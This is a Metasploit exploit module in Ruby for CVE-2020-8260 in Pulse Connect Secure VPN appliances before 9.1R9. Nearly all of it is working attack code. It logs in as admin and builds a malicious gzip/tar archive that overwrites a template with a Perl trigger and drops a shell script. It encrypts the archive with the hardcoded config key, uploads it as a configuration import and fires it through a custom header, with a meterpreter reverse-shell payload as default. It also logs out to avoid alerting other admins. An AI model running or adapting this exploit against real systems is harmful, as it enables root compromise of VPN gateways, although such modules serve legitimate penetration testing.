##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  ENCRYPTION_KEY = "\x7e\x95\x42\x1a\x6b\x88\x66\x41\x43\x1b\x32\xc5\x24\x42\xe2\xe4\x83\xf8\x1f\x58\xb0\xe9\xe9\xa5".b

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Pulse Secure VPN gzip RCE',
        'Description' => %q{
          The Pulse Connect Secure appliance before 9.1R9 suffers from an uncontrolled gzip extraction vulnerability
          which allows an attacker to overwrite arbitrary files, resulting in Remote Code Execution as root.
          Admin credentials are required for successful exploitation.
          Of note, MANY binaries are not in `$PATH`, but are located in `/home/bin/`.
        },
        'Author' => [
          'h00die', # msf module
          'Spencer McIntyre', # msf module
          'Richard Warren <richard.warren@nccgroup.com>', # original PoC, discovery
          'David Cash <david.cash@nccgroup.com>', # original PoC, discovery
        ],
        'References' => [
          ['URL', 'https://gist.github.com/rxwx/03a036d8982c9a3cead0c053cf334605'],
          ['URL', 'https://research.nccgroup.com/2020/10/26/technical-advisory-pulse-connect-secure-rce-via-uncontrolled-gzip-extraction-cve-2020-8260/'],
          ['URL', 'https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44601'],
          ['CVE', '2020-8260']
        ],
        'DisclosureDate' => '2020-10-26',
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => true,
        'Targets' => [
          [
            'Unix In-Memory',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_memory,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/generic' }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp' }
            }
          ]
        ],
        'Payload' => { 'Compat' => { 'ConnectionType' => '-bind' } },
        'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'CMDSTAGER::FLAVOR' => 'curl' },
        'DefaultTarget' => 1,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES],
          'RelatedModules' => ['auxiliary/gather/pulse_secure_file_disclosure']
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'The URI of the application', '/']),
      OptString.new('USERNAME', [true, 'The username to login with', 'admin']),
      OptString.new('PASSWORD', [true, 'The password to login with', '123456'])
    ])

    register_advanced_options([
      OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 1.5 ]),
    ])
  end

  def check(exploiting: false)
    login
    res = send_request_cgi({ 'uri' => normalize_uri('dana-admin', 'misc', 'admin.cgi') })
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve the version information') unless res&.code == 200
    version = res.body.scan(%r{id="span_stats_counter_total_users_count"[^>]+>([^<(]+)(?:\(build (\d+)\))?</span>})&.last
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve the version information') unless version
    version, build = version

    return CheckCode::Unknown unless version.include?('R')

    version, revision = version.split('R', 2)
    print_status("Version #{version.strip}, revision #{revision.strip}, build #{build.strip} found")
    return CheckCode::Appears if version.to_f <= 9.1 && revision.to_f < 9

    CheckCode::Detected
  rescue Msf::Exploit::Failed
    CheckCode::Unknown
  ensure
    logout unless exploiting
  end

  def exploit
    case (checkcode = check(exploiting: true))
    when Exploit::CheckCode::Vulnerable, Exploit::CheckCode::Appears
      print_good(checkcode.message)
    when Exploit::CheckCode::Detected
      print_warning(checkcode.message)
    else
      fail_with(Module::Failure::Unknown, checkcode.message.to_s)
    end

    case target['Type']
    when :unix_memory
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager(
        linemax: 262144, # 256KiB
        delay: datastore['CMDSTAGER::DELAY']
      )
    end

    logout
  end

  def execute_command(command, _opts = {})
    trigger = Rex::Text.rand_text_alpha_upper(8)
    print_status("Exploit trigger will be at #{normalize_uri('dana-na', 'auth', 'setcookie.cgi')} with a header of #{trigger}")

    config = build_malicious_config(command, trigger)
    res = upload_config(config)

    fail_with(Failure::UnexpectedReply, 'File upload failed') unless res&.code == 200

    print_status('Triggering RCE')
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'setcookie.cgi'),
      'headers' => { trigger => trigger }
    })
  end

  def res_get_xsauth(res)
    res.body.scan(%r{name="xsauth" value="([^"]+)"/>})&.last&.first
  end

  def upload_config(config)
    print_status('Requesting backup config page')
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'config.cgi'),
      'headers' => { 'Referer' => "#{full_uri('/dana-admin/cached/config/config.cgi')}?type=system" },
      'vars_get' => { 'type' => 'system' }
    })
    fail_with(Failure::UnexpectedReply, 'Failed to request the backup configuration page') unless res&.code == 200
    xsauth = res_get_xsauth(res)
    fail_with(Failure::UnexpectedReply, 'Failed to get the xsauth token') if xsauth.nil?

    post_data = Rex::MIME::Message.new
    post_data.add_part(xsauth, nil, nil, 'form-data; name="xsauth"')
    post_data.add_part('Import', nil, nil, 'form-data; name="op"')
    post_data.add_part('system', nil, nil, 'form-data; name="type"')
    post_data.add_part('8', nil, nil, 'form-data; name="optWhat"')
    post_data.add_part('', nil, nil, 'form-data; name="txtPassword1"')
    post_data.add_part('Import Config', nil, nil, 'form-data; name="btnUpload"')
    post_data.add_part(config, 'application/octet-stream', 'binary', 'form-data; name="uploaded_file"; filename="system.cfg"')

    print_status('Uploading encrypted config backup')
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'import.cgi'),
      'method' => 'POST',
      'headers' => { 'Referer' => "#{full_uri('/dana-admin/cached/config/config.cgi')}?type=system" },
      'data' => post_data.to_s,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
    })
  end

  def login
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'url_admin', 'login.cgi'),
      'method' => 'POST',
      'vars_post' => {
        'tz_offset' => '-300',
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD'],
        'realm' => 'Admin Users',
        'btnSubmit' => 'Sign In'
      },
      'keep_cookies' => true
    })

    fail_with(Failure::UnexpectedReply, 'Login failed') unless res&.code == 302
    location = res.headers['Location']
    fail_with(Failure::NoAccess, 'Login failed') if location.include?('failed')

    return unless location.include?('admin%2Dconfirm')

    # if the account we login with is already logged in, or another admin is logged in, a warning is displayed.  Click through it.
    print_status('Other admin sessions detected, continuing')
    res = send_request_cgi({ 'uri' => location, 'keep_cookies' => true })
    fail_with(Failure::UnexpectedReply, 'Login failed') unless res&.code == 200
    fds = res.body.scan(/name="FormDataStr" value="([^"]+)">/).last
    xsauth = res_get_xsauth(res)
    fail_with(Failure::UnexpectedReply, 'Login failed (missing form elements)') unless fds && xsauth

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'url_admin', 'login.cgi'),
      'method' => 'POST',
      'vars_post' => {
        'btnContinue' => 'Continue the session',
        'FormDataStr' => fds.first,
        'xsauth' => xsauth
      },
      'keep_cookies' => true
    })
    fail_with(Failure::UnexpectedReply, 'Login failed') unless res
  end

  def logout
    print_status('Logging out to prevent warnings to other admins')
    res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'config.cgi') })
    fail_with(Failure::UnexpectedReply, 'Logout failed') unless res&.code == 200

    logout_uri = res.body.scan(%r{/dana-na/auth/logout\.cgi\?xsauth=\w+}).first
    fail_with(Failure::UnexpectedReply, 'Logout failed') if logout_uri.nil?

    res = send_request_cgi({ 'uri' => logout_uri })
    fail_with(Failure::UnexpectedReply, 'Logout failed') unless res&.code == 302
  end

  def build_malicious_config(cmd, trigger)
    payload_script = "#{Rex::Text.rand_text_alphanumeric(rand(6..13))}.sh"
    perl = <<~PERL
      if (length $ENV{HTTP_#{trigger}}){
        chmod 0775, "/data/var/runtime/tmp/tt/#{payload_script}";
        system("env /data/var/runtime/tmp/tt/#{payload_script}");
      }
    PERL
    tarfile = StringIO.new
    Rex::Tar::Writer.new(tarfile) do |tar|
      tar.mkdir('tmp', 509)
      tar.mkdir('tmp/tt', 509)
      tar.add_file('tmp/tt/setcookie.thtml.ttc', 511) do |tio|
        tio.write perl
      end
      tar.add_file("tmp/tt/#{payload_script}", 511) do |tio|
        tio.write "PATH=/home/bin:$PATH\n"
        tio.write "rm -- \"$0\"\n"
        tio.write cmd
      end
    end

    gzfile = StringIO.new
    gz = Zlib::GzipWriter.new(gzfile)
    gz.write(tarfile.string)
    gz.close

    encrypt_config(gzfile.string)
  end

  def encrypt_config(config_blob)
    cipher = OpenSSL::Cipher.new('DES-EDE3-CFB').encrypt
    iv = cipher.iv = cipher.random_iv
    cipher.key = ENCRYPTION_KEY

    md5 = OpenSSL::Digest.new('MD5', "#{iv}\x00#{[config_blob.length].pack('V')}")

    ciphertext = cipher.update(config_blob)
    ciphertext << cipher.final
    md5 << ciphertext

    cipher.reset
    "\x09#{iv}\x00#{[ciphertext.length].pack('V') + ciphertext + cipher.update(md5.digest) + cipher.final}"
  end
end
